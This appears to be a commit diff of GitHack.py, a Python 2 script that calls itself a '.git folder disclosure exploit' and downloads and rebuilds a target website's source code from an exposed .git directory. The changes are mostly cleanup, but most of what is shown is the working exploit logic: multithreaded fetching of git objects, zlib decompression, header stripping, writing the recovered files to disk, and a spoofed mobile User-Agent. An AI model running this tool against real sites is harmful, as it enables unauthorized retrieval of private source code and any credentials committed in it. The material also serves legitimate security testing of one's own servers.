15
15
16
16
if len (sys .argv ) == 1 :
17
17
msg = """
18
-
19
18
A `.git` folder disclosure exploit. By LiJieJie
20
19
21
20
Usage: GitHack.py http://www.target.com/.git/
@@ -42,26 +41,30 @@ def __init__(self):
42
41
self .queue .put ((entry ["sha1" ].strip (), entry ["name" ].strip ()))
43
42
try :
44
43
print entry ['name' ]
45
- except :
44
+ except Exception as e :
46
45
pass
47
46
self .lock = threading .Lock ()
48
47
self .thread_count = 20
49
48
self .STOP_ME = False
50
49
51
- def _request_data (self , url ):
50
+ @staticmethod
51
+ def _request_data (url ):
52
52
request = urllib2 .Request (url , None , {'User-Agent' : 'Mozilla/5.0 (iPhone; CPU iPhone OS 6_0 like Mac OS X)' })
53
53
return urllib2 .urlopen (request ).read ()
54
54
55
55
def _print (self , msg ):
56
56
self .lock .acquire ()
57
- print msg
57
+ try :
58
+ print msg
59
+ except Exception as e :
60
+ pass
58
61
self .lock .release ()
59
62
60
63
def get_back_file (self ):
61
64
while not self .STOP_ME :
62
65
try :
63
66
sha1 , file_name = self .queue .get (timeout = 0.5 )
64
- except :
67
+ except Exception as e :
65
68
break
66
69
for i in range (3 ):
67
70
try :
@@ -71,20 +74,20 @@ def get_back_file(self):
71
74
data = zlib .decompress (data )
72
75
except :
73
76
self ._print ('[Error] Fail to decompress %s' % file_name )
74
- data = re .sub ('blob \d+\00 ' , '' , data )
75
- target_dir = os .path .join (self .domain , os .path .dirname (file_name ) )
77
+ data = re .sub (r 'blob \d+\00' , '' , data )
78
+ target_dir = os .path .join (self .domain , os .path .dirname (file_name ))
76
79
if target_dir and not os .path .exists (target_dir ):
77
80
os .makedirs (target_dir )
78
- with open ( os .path .join (self .domain , file_name ) , 'wb' ) as f :
81
+ with open (os .path .join (self .domain , file_name ), 'wb' ) as f :
79
82
f .write (data )
80
83
self ._print ('[OK] %s' % file_name )
81
84
break
82
85
except urllib2 .HTTPError , e :
83
- if str (e ).find ('HTTP Error 404' ) >= 0 :
86
+ if str (e ).find ('HTTP Error 404' ) >= 0 :
84
87
self ._print ('[File not found] %s' % file_name )
85
88
break
86
- except Exception , e :
87
- self ._print ('[Error] %s' % e )
89
+ except Exception as e :
90
+ self ._print ('[Error] %s' % str ( e ) )
88
91
self .exit_thread ()
89
92
90
93
def exit_thread (self ):
@@ -98,12 +101,13 @@ def scan(self):
98
101
t .start ()
99
102
100
103
101
- s = Scanner ()
102
- s .scan ()
103
- try :
104
- while s .thread_count > 0 :
105
- time .sleep (0.1 )
106
- except KeyboardInterrupt , e :
107
- s .STOP_ME = True
108
- time .sleep (1.0 )
109
- print 'User Aborted.'
104
+ if __name__ == '__main__' :
105
+ s = Scanner ()
106
+ s .scan ()
107
+ try :
108
+ while s .thread_count > 0 :
109
+ time .sleep (0.1 )
110
+ except KeyboardInterrupt , e :
111
+ s .STOP_ME = True
112
+ time .sleep (1.0 )
113
+ print 'User Aborted.'
0 commit comments